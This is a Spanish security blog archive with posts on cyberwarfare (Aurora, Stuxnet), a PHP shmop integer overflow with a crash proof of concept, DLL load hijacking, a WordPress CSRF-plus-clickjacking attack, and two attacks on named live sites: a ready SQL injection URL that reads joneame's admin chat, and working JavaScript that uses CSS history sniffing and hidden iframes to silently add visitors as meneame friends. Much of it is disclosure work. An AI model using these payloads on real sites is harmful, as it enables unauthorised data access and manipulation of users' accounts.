Archivo de la Categoría 'Uncategorized'

La ciberguerra: una realidad del siglo XXI

El cine y la literatura han conjeturado mucho alrededor de la idea de las guerras del futuro. Alguien dijo alguna vez que la tercera guerra mundial se libraría con palos y piedras, otros imaginaron ovnis o cañones de protones… por otro lado, existen algunos autores que opinan que las guerras del futuro se librarán en campos de batalla virtuales.

La realidad siempre supera a la ficción, y en el año 2011 la ciberguerra es toda una realidad. Durante el transcurso de la última década hasta finales de este año, han sucedido una serie de acontecimientos que han dado el pistoletazo de salida para armar ejércitos de hackers, espías y grupos preparados para sabotear, robar o destruir sistemas informáticos enemigos… pero siempre es mejor empezar las historias por el principio, y como toda buena historia, es difícil saber como empezó la ciberguerra o quien atacó primero, por que en realidad, la ciberguerra es una forma de agresión mas… dentro de un mar de luchas.
Podríamos decir que todo empezó cuando los ciudadanos del primer mundo empezaron a usar internet de forma masiva para comunicarse, o cuando los gobiernos, empresas e instituciones fueron dependiendo cada vez mas y mas de los ordenadores, pero seguramente el primer paso, lo dio china.
Durante la primera década del siglo XXI se sospechaba que china entrenaba hackers en organizaciones directamente relacionadas con su gobierno, con la esperanza de tenerlos listos para robar información a estados unidos o sus aliados. En el año 2003 Microsoft otorgó de alguna forma (consciente o no) el código fuente de Windows a una empresa de seguridad china llamada Topsec, que se lo habría echo llegar al ejercito de hackers chinos para que pudiesen encontrar mas fácilmente agujeros de seguridad en Windows. Disponer del código original de un programa informático es crucial a la hora de encontrar agujeros de seguridad en el programa, y aunque puede hacerse sin tener el código, es mucho mas complejo, largo y costoso.
Al parecer el ejercito de hackers chinos, armados con el código fuente de windows y una fuerte motivación por penetrar en sistemas informáticos claves, comenzó una operación a gran escala penetrando en sistemas informáticos del gobierno de estados unidos y sus aliados y en las principales empresas del mundo.
De esta operación encubierta no se supo nada hasta que en el año 2010 google detectó un fallo en sus sistemas de seguridad y descubrieron que habían accedido a sus sistemas informáticos desde direcciones IP de china utilizando ataques informáticos muy sofisticados, incluyendo uso de exploits 0day que demostrarían que quien realizó el ataque, podría haber tenido acceso al código fuente de windows.
Mas adelante, se descubriría todo el pastel, decenas de empresas de gran tamaño habían sido hackeadas usando las mismas tácticas y por los mismos hackers chinos, bajo lo que symantec llamó “Operación aurora” que es como creen que llamaron a la operación en china, según pudieron deducir de material incautado y pruebas recogidas en los sistemas comprometidos.
La operación aurora dio mucho que hablar en el mundo de la tecnología, además, en unos cables revelados por wikileaks en el cablegate, se confirmó la sospecha de que Microsoft habría permitido acceso al código fuente de windows a Topsec, empresa de China.
Para mucha gente la cosa quedó en anécdota: china había lanzado un ciberataque contra estados unidos o sus intereses, especialmente empresas, robando información y usando su acceso a google para espiar cuentas de Gmail bajo algo conocido como Operación aurora.
Sin embargo, luego han ido saliendo a la luz mas y mas pruebas, pruebas, y mas pruebas, de que en realidad china está lanzando un ciberataque en gran escala contra Estados Unidos y sus intereses. Este artículo podría extenderse miles de páginas hablando de sucesos de seguridad relacionados con asaltos de hackers chinos, aparentemente trabajando para el gobierno.
Sin embargo, China no es el único país del mundo que entrena hackers…
A mediados del año 2010 la empresa de seguridad VirusBlokada con sede en Bielorusia descubre un ejemplar de algo que para ser el virus informático mas sofisticado de la historia, investigando en su código compilado, descubren que hay ciertas iniciales desperdigadas por el código en cadenas de texto, y acaban llamandole “STUXNET“.
STUXNET es un programa informático que se propaga mediante dispositivos de almacenamiento USB, como “pen drives” aprovechando vulnerabilidades hasta entonces desconocidas en Microsoft Windows, una vez infecta el sistema, infectará cualquier pen drive que sea conectado a ese ordenador. Luego, identifica los ordenadores que tiene en su red local, e intenta atacarlos usando otras vulnerabilidades hasta entonces desconocidas en Windows.
STUXNET inserta un driver en windows para controlarlo desde su nucleo, el usuario no es advertido del driver sin firmar que está troyanizando su sistema, ya que SUTXNET utiliza una firma digital de Realtek robada de alguna forma en una operación de espionaje en taiwan.
Lo que hace especial a STUXNET es que el 60% de las infecciones se produjeron en Irán, que coincidió con el proceso de centrifugación de uranio para el plan nuclear Iraní, y sobretodo, que lleva un código especialmente diseñado para atacar sistemas SCADA. Los sistemas SCADA son sistemas digitales diseñados para monitorizar y controlar procesos industriales como potabilización de agua, o centrifugación de uranio. Los sistemas SCADA se conectan como dispositivos a un ordenador que corre Microsoft con un software de Siemenes, que permite el control y gestión del proceso industrial gestionado por el SCADA.
Stuxnet utiliza vulnerabilidades desconocidas hasta la fecha para detectar si el sistema que infecta tiene conectado un sistema SCADA y comprometer su seguridad, tomar el control del SCADA y acelerar y frenar de forma brusca la centrifugadores de uranio conectadas al SCADA.
Según Kaspersky, STUXNET solo pudo haber sido desarrollado con los recursos de una nación o gobierno, que su nivel de sofisticación y especial interés en sabotear sistemas SCADA lo sitúan claramente en Estados Unidos o Israel.
STUXNET hizo algún daño al proceso de centrifugado de Irán, y algunas centrifugadoras, presuntamente cientos, fueron reemplazadas de emergencia debido a fallos provocados por STUXNET. Aunque puede que nunca sepamos a ciencia cierta quien desarrolló STUXNET y con que medios y motivaciones, pero la realidad es que posiblemente ralentizó el programa nuclear Iraní, sin una sola bala.
Y si todo esto suma tensión a la situación de inminente ciberguerra, la cosa no termina aquí.
A finales del 2011 salió a la luz la noticia de que Estados Unidos estaría volando un DRONE (Avión no tripulado) de espionaje en zona aerea de Irán, cuando fue hackeado, lo hicieron aterrizar y consiguieron robar así un aparato que vale decenas de millones de dólares y cuyo diseño era totalmente secreto.
¿Es posible hackear un DRONE que usa protocolos  cifrados y sistemas super seguros, con diseños y tecnologías secretas?
Posiblemente nunca lo sepamos, pero el DRONE aterrizó en Irán suavemente y sin daños, quizás fue un hackeo, quizás una operación de espionaje, o según empieza a ser habitual ya, quizás fue una combinación de ambas.
Al final, todos estos sucesos y una infinidad mas, como el ataque de Rusia a un sistema de tratamiento de aguas de estados unidos, o muchos otros solo terminan por demostrar que la ciberguerra es hoy en día una herramienta utilizada por los gobiernos para mermar o destruir sistemas o servicios del enemigo, con la esperanza de ganar ventajas competitivas o dañar la capacidad de defensa o abastecimiento del enemigo.
La ciberguerra solo es una forma mas que disponen hoy en día los países para atacar a sus enemigos y defender sus intereses, de hecho, prueba de esto es que Estados Unidos ha reconocido oficialmente la ciberguerra como teatro de operaciones, la ciberguerra es ya un termino recogido por wikipedia, en el 2008 antes del cable de wikileaks que desvelaría el asunto de Topsec, ya le veían las orejas al lobo en Estados Unidos y se hablaba de que china les atacaría usando hackers.

Ni los gobiernos ni las empresas están preparados para esta guerra, china es el único que ha hecho los deberes y tiene su propio sistema operativo creado por ellos y según sus palabras “invulnerable” que ha instalado en todos sus sistemas críticos. Le han llamado Kylin y está basado en FreeBSD con una capa de seguridad adicional, desarrollada por Instituto de Denfensa Nacional Chino.

La realidad es que luchar en esta guerra sin un sistema operativo que sepas que es seguro, y del cual el enemigo sepa lo mínimo, es un suicidio. China lo sabe y tiene la esperanza de aunque Kylin está basado en FreeBSD su capa de seguridad adicional le protegerá de vulnerabilidades que hackers americanos conozcan en FreeBSD.

Integer overflow en PHP <= 5.3.5

Para los que no lo conozcan, PHP es un lenguaje de scripting que permite desarrollar páginas web dinámicas. En los últimos años ha ido ganando cada vez mas protagonismo, y sitios como wikipedia, facebook o wordpress están desarrollados utilizando PHP.

En sus inicios, PHP no era mas que un conjunto de scripts en perl que funcionaban a modo de CGI. Hoy en día, PHP es un lenguaje con motor propio, llamado Zend, disponible para gran cantidad de sistemas operativos y plataformas. Uno de los puntos mas interesantes de PHP es las posibilidades que ofrece para crear entornos controlados. PHP permite ser instalado para ejecutarse como módulo de apache y correr con los privilegios de apache los scripts PHP que necesite ejecutar. Existe la posibilidad de configurar el motor de PHP para que no permita a los scripts operar fuera de unos directorios controlados, utilizar ciertas funciones o consumir mas de una cantidad determinada de recursos.

Estas funcionalidades de control sobre lo que hacen o dejan de hacer los scripts PHP han permitido la aparición de numerosos servidores que ofrecen hosting compartido para scripts PHP, pues utilizan estas funcionalidades para controlar que un cliente no afecta ni altera datos de otro cliente.

En la actualidad, estas funcionalidades son imprescindibles, no solo por los hostings compartidos, sino por la gran cantidad de agujeros de seguridad que se encuentran día tras día en scripts PHP populares, como foros, blogs, libros de visitas, scripts de noticias etc. PHP no puede garantizar que cada desarrollador del mundo haga bien su trabajo, y por eso ofrece estas funcionalidades para enjaular al máximo cada script, presuponiendo que alguno estará mal hecho.

Algunas de estas funcionalidades de control son open_basedir y safemode, entre otras. Muchas de estas funcionalidades no se recomiendan desde PHP, debido a que es muy difícil para PHP controlar todo lo que hace un script, para garantizar que no accede a donde no debe. Aún y así, hoy en día es una funcionalidad extensivamente utilizada.

Como consecuencia de estas medidas de control, han surgido una gran cantidad de agujeros de seguridad que desde un script PHP provocan errores en el motor Zend para terminar ejecutando código arbitrario, o provocar errores que dejen offline al servidor, o consuman mas recursos de los autorizados por el motor.

Este tipo de errores están pensados para ser ejecutados una vez se tiene acceso para ejecutar código PHP, y solo sirven para saltarse las restricciones del motor y conseguir acceso al sistema, o bien conseguir su mal funcionamiento. No deben confundirse con errores en los propios scripts PHP que permitan acceso a la base de datos o similares.

Durante el fin de semana pasado estube leyendo el código fuente de PHP con la intención de encontrar alguno de estos errores. PHP está desarrollado en C y sigue un modelo de plugins o extensiones. Al descargar el código tienes el motor en un directorio llamado Zend, y las extensiones base en un directorio llamado ext. Casi todas las funciones de PHP son parte de una extensión y no del core en si mismo, incluidas las funciones fsockopen, o fopen, o explode, todas son parte de extensiones.

Durante el fin de semana que estuve auditando PHP, me centré en las extensiones mas susceptibles de fallos, empecé estudiando GD, pero enseguida me di cuenta que era inmensa, y que atacar por ahí me llevaría demasiado tiempo. Poco después me fijé en shmop.

Shmop es una extensión de php, incluída en PHP por defecto, que permite crear zonas de memoria compartida. La función que llamó mi atención fue shmop_read, que permite dado un identificador de una región de memoria compartida, leer una cantidad de datos especificada, a partir de un desplazamiento especificado.

Es decir, supongamos que creamos una región de memoria compartida con shmop_open. Le damos un tamaño de 5 bytes e introducimos el texto “mundo” utilizando shmop_write. A continuación al utilizar shmop_read con el identificar de esa memoria compatida, podríamos leer “ndo” leyendo 3 bytes, con desplazamiento 2. O bien leer “do” leyendo 2 bytes con desplazamiento 3.

La función shmop_read está declarada así:

string shmop_read ( int $shmid , int $start , int $count )

El primer parámetro es el identificador de la zona de memoria compartida a leer. El segundo, es desde donde leer (el desplazamiento), y el último parámetro es la cantidad de bytes a leer.

Es la típica función de lectura con un parámetro para la cantidad a leer, y otro para “desde donde” leer, contando desde el inicio de la memoria compartida apuntada por el identificador proporcionado. Si pudiésemos especificar una cantidad de bytes a leer superior a la que hay en la región de memoria compartida, podríamos leer memoria arbitraria de PHP. O bien, si pudiésemos especificar un desplazamiento superior al tamaño de la memoria compartida, también podríamos leer memoria arbitraria de PHP.

Sin embargo, a priori la función shmop_read se encarga de comprobar ese tipo de cosas:

if (start < 0 || start > shmop->size) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, “start is out of range”);
RETURN_FALSE;

}

if (start + count > shmop->size || count < 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, “count is out of range”);
RETURN_FALSE;
}

Primero se comprueba que start no sea menor que 0, que no tendría sentido, luego se comprueba que start no sea mayor que el tamaño de la memoria compartida que pretendemos leer. Por lo que el parámetro start de shmop_read, es seguro. No se puede especificar un valor de desplazamiento mayor que el tamaño de la memoria compartida en si misma.

El segundo parámetro, la cantidad de bytes a leer, es comprobado en el segundo if. Primero se comprueba que start + count no sean mayores que el tamaño de la memoria compartida en si misma. De esta forma, cualquier combinación de desplazamiento y cantidad de datos a leer, devolvería una porción de memoria dentro de la región de memoria compartida. Luego el if comprueba que count no sea negativo, lo cual no tendría sentido.

A priori este código es seguro. Su misión es controlar que los parámetros “start” y “count” de shmop_read no provocan que php lea fuera de la región de memoria compartida apuntada por el identificador proporcionado. Sin embargo, el problema reside en que tanto start como count están declarados así:

long shmid, start, count;

Si el servidor es de 32 bits, en el lenguaje C, long es un entero con signo de 32 bits. Eso quiere decir que el primer bit se reserva para el signo. Eso significa que el valor máximo que puede contener count o start es 2^31, es decir, 31bits todos a 1. Superado este valor, el bit que estaba reservado para el signo, se pondrá a 1, lo cual significa que el número es negativo.

Esto significa que si en count ponemos como valor exactamente 2^31, es decir 2147483647, y en start ponemos 1, la cosa queda así:

if (start < 0 || start > shmop->size) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, “start is out of range”);
RETURN_FALSE;

}

Superamos este condicional, pues start = 1, por lo que ni es menor que 0, ni mayor que la memoria compartida que pretendemos leer.

A continuación:

if (start + count > shmop->size || count < 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, “count is out of range”);
RETURN_FALSE;
}

start + count = 2^31 + 1, o lo que es lo mismo: 2147483647+1 = -2147483647.

Por que un número negativo? Por que al superar los 31 bits, y convertirse en un número de 32 bits, el bit reservado para el signo se ha puesto a 1, indicando que el número es negativo. Por lo que -2147483647 nunca será mayor que la memoria compartida que pretendemos leer. La segundo parte del condicional comprueba que count por si solo no sea menor que 0. count por si solo es 2^31, un número positivo muy grande, mucho mayor que 0.

Hemos superado el condicional pese a haber especificado un tamaño gigante en count, mucho mayor que el área de memoria compartida que pretendemos leer, gracias a un integer overflow.

Debajo de los condiconales, hay:

startaddr = shmop->addr + start;
bytes = count ? count : shmop->size – start;

return_string = emalloc(bytes+1);
memcpy(return_string, startaddr, bytes);
return_string[bytes] = 0;

RETURN_STRINGL(return_string, bytes, 0);

Se reserva memoria para leer el tamaño especificado por count, que es 2^31, es decir, 2gb, y luego se hace un memcpy de 2gb empezando por la dirección de memoria de la región de memoria compartida. Obviamente, la región de memoria de PHP es mucho menor que 2gb, y al intentar hacer ese memcpy, se provoca una violación de segmento.

Una llamada a ltrace, revela:

malloc(2147745792)                                                                                                                                 = 0×35cbd008
memcpy(0×35cbd024, “”, 2147483647 <unfinished …>
— SIGSEGV (Segmentation fault) —
+++ killed by SIGSEGV +++

Como vemos, se reservan 2^31 bytes, y se intentan copiar a saco dentro de 0×35cbd024, que es el puntero que luego se devolverá hacia el script php que ha ejecutado shmop_read.

Si por algún motivo, no se saliese de la memoria de PHP, por ejemplo por que previamente se haya reservado esa cantidad de memoria y los planetas se hayan alineado un poco, se recuperaría en el script php 2gb de memoria raw, con cualquier tipo de información.

Para reproducir el fallo, basta con un simple script php:

lol@mickeymouse:~$ cat lol.php

<?php
//PHP <= 5.3.5 Integer overflow (CVE-2011-1092)

//discovered by Jose Carlos Norte (jcarlos.norte@gmail.com)
//
$shm_key = ftok(__FILE__, ‘t’);
$shm_id = shmop_open($shm_key, “c”, 0644, 100);
$shm_data = shmop_read($shm_id, 1, 2147483647);
//if there is no segmentation fault past this point, we have 2gb of memory!
echo $shm_data;
?>
lol@mickeymouse:~$ php lol.php
Segmentation fault
lol@mickeymouse:~$

El error termina por provocar una violación de segmento y PHP muere. Este error a priori parece no muy explotable, y su peligrosidad es muy reducida, podría permitir algún memory disclossure en algún entorno muy concreto, o provocar denegaciones de servicio en servidor compartidos, depende de la configuración del servidor web.

Es muy interesante en cambio para ilustrar como se encuentra un bug de seguridad en software real, y lo desapercibido que puede pasar un problema de seguridad como este, que en muchos casos, termina en problemas mas graves y sobretodo mas explotables.

Tras estar en contacto con el equipo de seguridad de PHP, que por cierto son muy rápidos y efectivos, el problema está solucionado en el SVN y en PHP 5.3.6 que será liberada inminentemente.

En principio había decidido no publicar nada hasta la publicación de PHP 5.3.6, pero a partir del commit en el SVN de PHP, y de la petición de un número CVE, la noticia ha corrido como la polvora, y me encuentro con este advisory en bugtraq, increíble.

Menos mal que el error no es totalmente grave, pero esto me da que pensar sobre como gestionar la información de seguridad en proyectos con SVN públicos, donde la gente ve los commits día a día…es difícil, sobretodo es difícil que no salte a bugtraq antes que la release que arregla el problema, pero bueno.

Toda la verdad sobre Dll Load Hijacking

Siguiendo con el tema de mi anterior post sobre Dll Load Hijacking, me he decidido a escribir un segundo post, mucho mas técnico que el anterior, solo para desmentir algunas de las cosas que se están diciendo por ahí, y aclarar todo el tema. Si no sabes de que va esto, pero te interesa, te recomiendo que leas el primer post sobre el tema.

Tal como expliqué, el Dll Load Hijacking consiste en conseguir que una aplicación cargue una DLL (que podría ser maliciosa) en el momento en que la aplicación abre un fichero. O dicho de otra forma, tu abres un fichero png con photoshop, y el photoshop carga una DLL que hay al lado del png, y que es maliciosa.

Si se dispone del escenario correcto, se puede conseguir ejecutar código en el sistema de la víctima, solo con que abra un fichero doc, odt, png, o cualquier otro inofensivo fichero de datos.

Mucha gente a favor de microsoft, está argumentando que este problema de seguridad, no es culpa de windows, sino de las aplicaciones vulnerables, en mi ejemplo el photoshop. Sin embargo la realidad es bien distinta, y aunque esté habiendo un poco de campaña tanto para quitarle peso a este asunto, como para limpiar la cara de Microsoft, la verdad acaba saliendo siempre a relucir.

En primer lugar, es importante comprender de donde viene el agujero de seguridad. A día de hoy, se han encontrado en unos días ya cientos de aplicaciones vulnerables, lo cual levanta sospechas de que la culpa no es de esas aplicaciones, sino del propio windows, ¿verdad?

Indagando un poco sobre el tema, he encontrado la función de marras que ha liado todo este jaleo, se trata de SetDllDirectory. Pero para entender esta función, primero hay que entender bien el tema de las Dll.

Cuando un programa en windows intenta cargar una Dll, existen una serie de rutas donde intentará encontrar el fichero (al estilo $PATH), setDllDirectory permite agregar un directorio mas donde windows buscará las Dll, de forma que un developer puede poner todas sus dll en un directorio y llamar a setdlldirectory pasándole la ruta de ese directorio, y hasta ahí todo parece perfecto. Veamos la definición de la función:

BOOL WINAPI SetDllDirectory(
  __in_opt  LPCTSTR lpPathName
);

Pues si, es así.

Si leemos un poco mas en la MSDN, vemos que:

After calling SetDllDirectory, the DLL search path is:

  1. The directory from which the application loaded.
  2. The directory specified by the lpPathName parameter.
  3. The system directory. Use the GetSystemDirectory function to get the path of this directory. The name of this directory is System32.
  4. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. The name of this directory is System.
  5. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
  6. The directories that are listed in the PATH environment variable.

Es decir, antes de llamar a SetDllDirectory, las Dll se empezaban a buscar en el punto 3. hasta el punto 6. Para un developer que está haciendo una aplicación es muy útil poder agregar un directorio mas, en el punto 2. Sin embargo, fijaros en el punto 1, SetDllDirectory no solo agrega una ruta mas para encontrar la Dll, sino que además, agrega también la ruta del directorio de trabajo desde el que se ha lanzado la aplicación!.

Que pasa entonces si la aplicación, que es la aplicación asociada para abrir ficheros png, al iniciarse necesita cargar ‘hola.dll’? Que si el desarrollador utiliza SetDllDirectory en algún sitio, el primer lugar donde se irá a buscar hola.dll es al lado del fichero png que hemos abierto, que podrías estar por ejemplo, en un pen drive, en una unidad compartida…etc.

Explotar esto es tan fácil como poner la dll que el programa irá a buscar al lado del fichero de datos asociado con el programa. Cuando el usuario haga click en el fichero, por ejemplo un png (o cualquier otro), se ejecutará el programa, que llamará a SetDllDirectory y luego empezará a cargar las Dll, cargando así nuestra Dll maliciosa que hay al lado del fichero png, doc, o lo que sea.

Para mas inri, nuestra Dll maliciosa podría estar oculta, y ni siquiera la vería el usuario.

Esto es especialmente grave, debido a que si ahora cambian la función, miles de aplicaciones dejarán de funcionar, por que la utilizaban. Si no la cambian, miles de aplicaciones son a día de hoy vulnerables, y el pobre usuario de windows no podrá ni abrir un png de un pen drive, sin que le tiemble la mano.

Agujero de seguridad en WordPress (por segunda vez)

Bueno, después del primer agujero de seguridad que encontré y explique en mi blog, que afectaba a wordpress, he estado bastante tiempo sin escribir en el blog, y que mejor manera que volver a retomar el blog, que con el mismo tema que lo dejé: seguridad y wordpress.

Hace unos días encontré un problema que afecta a todas las versiones de wordpress, y que puede ser explotado de forma bastante sencilla, sin embargo, requiere un poco de interacción con el administrador del blog, para que caiga en nuestra pequeña trampa.

Insisto en que no se trata de un engaño ni de que el administrador nos de su contraseña ni nada rastrero, es un agujero de seguridad real, como ahora explicaré.

El problema empieza en el fichero press-this.php, dentro de wp-admin:

http://www.ejemplo.com/wordpress/wp-admin/press-this.php?t=Hacked%20by%20me&s=a%20pro%20hacker%20hacked%20this%20blog

Si el administrador del sitio visitase esta url (ya veremos como), le sale un editor para crear una nueva entrada en el blog, y además, rellenado ya con un título para la entrada y un cuerpo para la entrada, que podemos rellenar utilizando esas dos variables que van por GET.

Esto es un pequeño CSRF que nos permite rellenar el formulario sin que el usuario toque nada.

El problema está en que aunque montemos una web, tipo www.webmuymuymala.com y dentro metamos un iframe que apunte a esa url, y mandando un correo, hagamos que el dueño del blog entre a www.webmuymuymala.com, aun y así, no pasará nada, por que aunque el contenido del nuevo post se autorellena, falta pulsar el botón publicar, cosa que el administrador no hará.

Llegados a este punto, podemos tirar de otra técnica explicada aquí en este mismo blog, llamada clickjacking,  para insertar un iframe apuntando a esa URL, bajarle la opacidad a 0, de forma que no se ve nada, y justo debajo del botón publicar, poner un botón que ponga: entrar en mi página!, que aparezca al entrar en www.webmuymuymala.com.

Ahora solo tenemos que convencer al administrador del blog para que entre en nuestra web, el verá una portada y un botón normal y corriente para entrar en la web, y cuando clique, estará clicando en un iframe transparente que tiene encima, concretamente, en el botón publicar del post pre-rellenado.

Lo voy a ilustrar con un par de imagenes, para que se entienda mas fácil:

Página web normal y corriente, con un iframe dentro, que apunta a lo explicado arriba

Ahora reducimos un poco la opacidad del iframe, para que se vea lo que hay debajo:

y finalmente reducimos la opacidad a 0, ¿alguien se daría cuenta del engaño? Es imposible, sin tener instalada alguna extensión como noscript.

Como veis, es totalmente imposible saber que hay un iframe transparente encima de ese botón enter.

Cuando el administrador pulse en el botón Enter, estará picando en publicar y agregará una nueva entrada a la portada de su blog, sin llegar a ver nada.

Para evitar este tipo de problemas, las páginas importantes como facebook o twitter impiden cargar ciertas áreas dentro de un iframe, he contactado con wordpress y les he recomendado que la administración no se pueda cargar en un iframe, han abierto un ticket aquí:

http://core.trac.wordpress.org/ticket/12293

Y están debatiendo que hacer. En wordpress.com, el servicio público que ofrecen ya está parcheado. Para variar, y debido a mi MUY mala relación con wordpress, han vuelto a no darme crédito por el aviso ni por nada (es lo que tiene llevarse mal, muy mal), aunque he querido arreglar un poco las cosas y no he publicado hasta que Ryan Boren, de wordpress me ha dado el visto bueno.

Si aprecias tu privacidad, no utilices joneame

Esta es una de esas entradas, que se que me insultarán por haberla escrito, y que, al haberla enviado yo mismo a menéame, me crucificarán por ello, pero mis principios me obligan a publicarlo, por que no estoy de acuerdo con que se compare un servicio profesional como meneame, con uno amateur, como joneame, y mucho menos aún, que solo esté permitido críticar a uno, y al otro no. Así que ahí va :)

Como muchos sabréis, joneame es un clon de meneame, realizado por un joven vasco, el cual además de crear un clon de meneame utilizando el código original, ha hecho ciertas modificaciones, para agregar funcionalidades.

Una de las modificaciones mas interesantes, es la de intercambiar mensajes privados entre usuarios.

Sin embargo, estas modificaciones se han hecho sin preocuparse en absoluto por la seguridad, lo cual ha llevado, a que joneame es extremadamente inseguro.

Ayer auditando el código de joneame, encontré un agujero de seguridad de tipo SQL injection, un agujero tan grave que permite tomar el control del servidor (usando load_file e into outfile), por el cual cualquier usuario puede ser suplantado, y cualquier información en joneame: manipulada.

El agujero está en backend/ezbatu_mezua.php, aquí:

$id = $_REQUEST['mid'];
$nondik = $_REQUEST['mota'];

$mezua = new Mezu;
$mezua->id = $current_user->user_id;
$mezua->jaso_mezua($id, $nondik);

Este fichero lee un mensaje privado dado su id, (el parámetro ‘mid’), sin embargo, el valor recogido vía GET, es pasado a jaso_mezua, sin sanear, y en esa función, se hace:

function jaso_mezua($zein, $nondik) {
global $db;

if ($nondik == ‘inbox’)
$mezu = $db->get_row(“SELECT * FROM mezuak WHERE nori=”.$this->id.” AND id=”.$zein.” LIMIT 1″);

Siendo $zein el parametro ‘mid’ que entró por la URL, sin sanear.

Por lo cual, explotar el bug es tan fácil como enviarnos un mensaje privado desde cualquier usuario, ir a la sección mensajes privados, y hacer click en el mensaje privado recibido, entonces, veremos un enlace tal como:

http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=NUMERO_DE_MENSAJE_AQUI&mota=inbox

Entonces, basta con agregar sentencias sql a continuación del número de mensaje, por ejemplo, así:

http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=-99%20union%20select%20chat_uid,2,chat_uid,4,chat_text,6,7%20from%20chats%20where%20chat_room%20=%20%27admin%27%20and%20chat_uid%20!=%2041%20and%20chat_uid%20!=%20213%20and%20chat_uid%20!=%2034&mota=outbox&eg=0

Eso serviría para leer la fisgona de administradores que tienen en joneame, sin necesidad de ser administrador.

Además de este bug, otro problema que tiene joneame, es que está instalado en un servidor compartido, por lo que si encontrasen una vulnerabilidad en una web que se hospeado a su lado, podrían espiar tu privacidad en joneame (datos privados de tu cuenta, etc).

Un atacante puede determinar que sites se hospedan junto a joneame, haciendo una petición de dns inversa, sabiendo que la ip de joneame .net es: 87.98.228.106

Utilizando un servicio público de dns inverso:

http://whois.webhosting.info/87.98.228.106

Vemos las páginas hospedadas junto a joneame, que ser comprometidas, lo sería también joneame.

Lo que quiero decir con este post, es que la gente sin conocimientos técnicos, puede verse tentado por joneame, o servicios similares, pero siempre es recomendable utilizar servicios profesionales, que estén en su propio servidor, y que su código esté medianamente controlado y revisado.

Algunos de estos problemas de seguridad ya han sido notificados al dueño de joneame, con quien he hablado vía mail. y me ha confirmado que está al tanto de los problemas de seguridad, otros problemas de seguridad, como lo del hosting compartido son inherentes de la infraestructura de joneame, y no pueden ser solventados, desgraciadamente.

Scripts para autoamigar en menéame

Para los que no lo sepan, meneame es una web de noticias, donde la gente envía y vota noticias, y las mas votadas pasan a portada.

Además, meneame permite que los usuarios hablen entre ellos, se escriban comentarios, y marquen a sus mas allegados, como “amigos”. Marcar como amigo en el meneame, significa que esa persona leerá lo que escribas en la fisgona (el chat de meneame), aún y cuando lo que escribas, lo marques para ser leído solo por tus amigos.

De esta forma, mucha gente sabe que marcando solo a sus amigos, puede mantener conversaciones relativamente privadas dentro de la fisgona (el chat global de meneame) aún y cuando cualquiera puede ver la fisgona.

Para hacer que alguien sea tu amigo, basta con visitar una URL tal como:

http://meneame.net/backend/get_friend.php?id=ID_DE_USUARIO_DE_OTRO&p=0&type=TU_ID_DE_USUARIO

Y de hecho, esa es la dirección que se visita, cuando haces clic en el corazoncito de alguien, para hacerlo tu amigo en meneame.

El hecho de que necesites pasar tu id de usuario, pese a que ya estás autenticado en meneame, se hace para evitar que alguien te redirija a una URL como esa, produciendo que agregues a gente como amiga en el meneame, solo por entrar a un web de terceros.

Este tipo de ataques se conocen como CSRF.

Por ejemplo, si mi id es 31337, yo podría redigir a mis visitantes a:

http://meneame.net/backend/get_friend.php?id=31337&p=0&type=TU_ID_DE_USUARIO

Para que se hagan mis amigos en meneame, nada mas entrar en mi web, sin embargo, no puedo hacerlo, por que yo no se el id de meneame del visitante que entra a mi web.

Sin embargo, esto se puede solventar de forma bastante fácil, como todos sabemos, los navegadores web permiten marcar de un color los links visitados, y de otro los links no visitar (a:visited, a:link en CSS).

Pues bien, podemos usar esa funcionalidad del navegador, para crear links en nuestras web apuntando a otros sitios, y luego comprobar con javascript, de que color son, de esa forma podemos saber si el visitante ha visitado esas web o no.

Pues bien, para descubrir el ID de meneame de nuestro visitante, basta con saber que en meneame todo usuario tiene disponible un RSS con sus conversaciones, ese RSS es una url tal como:

http://meneame.net/comments_rss2.php?answers_id=ID_DEL_USUARIO

Entonces, sabiendo que en meneame hay menos de 120.000 usuarios registrados (creo, tampoco es importante, es un experimento esto), podemos crear un bucle, que vía javascript genere enlaces hacia:

http://meneame.net/comments_rss2.php?answers_id=X

Empezando por X = 0, y terminado por X = 120.000, si tenemos suerte y el usuario utiliza el RSS de sus conversaciones, en una vuelta del bucle, uno de los links, estará de distinto color, ya que la URL habrá sido visitada por el usuario con anterioridad, y con eso, tendremos su ID en meneame.

Una vez con eso, podemos generar un iframe para visitar una url tipo:

http://meneame.net/backend/get_friend.php?id=31337&p=0&type=X

Siendo X el ID que hemos obtenido con la técnica de arriba.

Ahora el visitante, ya es amigo nuestro en meneame, sin que el vea nada :)

Como se puede observar, es una mala idea utilizar el id de usuario como medida anti CSRF, tal y como se hace en algunos sitios en meneame, hay que tener en cuenta que esto se puede utilizar de forma mas malevola, para auto-votar tus comentarios con cada visitante que entre a tu web, por ejemplo, ya que los votos a comentarios se hacen también con el ID como medida para evitar el CSRF.

Si queréis ver una prueba real utilizando esto, he montado una web:

demo

Que al visitarla te hace amigo mio en meneame automáticamente, el código es algo así:

function checkUrls(start) {
var url = “http://meneame.net/comments_rss2.php?conversation_id=”;
var obj = document.createElement(‘a’);
obj.setAttribute(‘href’,url);
document.getElementById(‘area’).appendChild(obj);
for(i=start;i<start+1000;i++) {
obj.setAttribute(‘href’,url+i);
var cmstyle = document.defaultView.getComputedStyle(obj,null);
if(cmstyle) {
if(cmstyle.color == ‘rgb(0, 0, 0)’) {
var frame = document.createElement(‘iframe’);
frame.setAttribute(’src’,'http://meneame.net/backend/get_friend.php?id=23321&p=0&type=’+i);
frame.style.width = ‘1px’;
frame.style.height = ‘1px’;
frame.style.border = ‘0px solid black’;
document.getElementById(‘area2′).appendChild(frame);
i = 120001
}
} else {
var color = obj.currentStyle.color;
if(color == ‘#000000′) {
var frame = document.createElement(‘iframe’);
frame.setAttribute(’src’,'http://meneame.net/backend/get_friend.php?id=23321&p=0&type=’+i);
frame.style.width = ‘1px’;
frame.style.height = ‘1px’;
frame.style.border = ‘0px solid black’;
document.getElementById(‘area2′).appendChild(frame);
i = 120001;
}
}
}
if(i < 120001) {
setTimeout(‘checkUrls(‘+i+’);’,100);
}
}

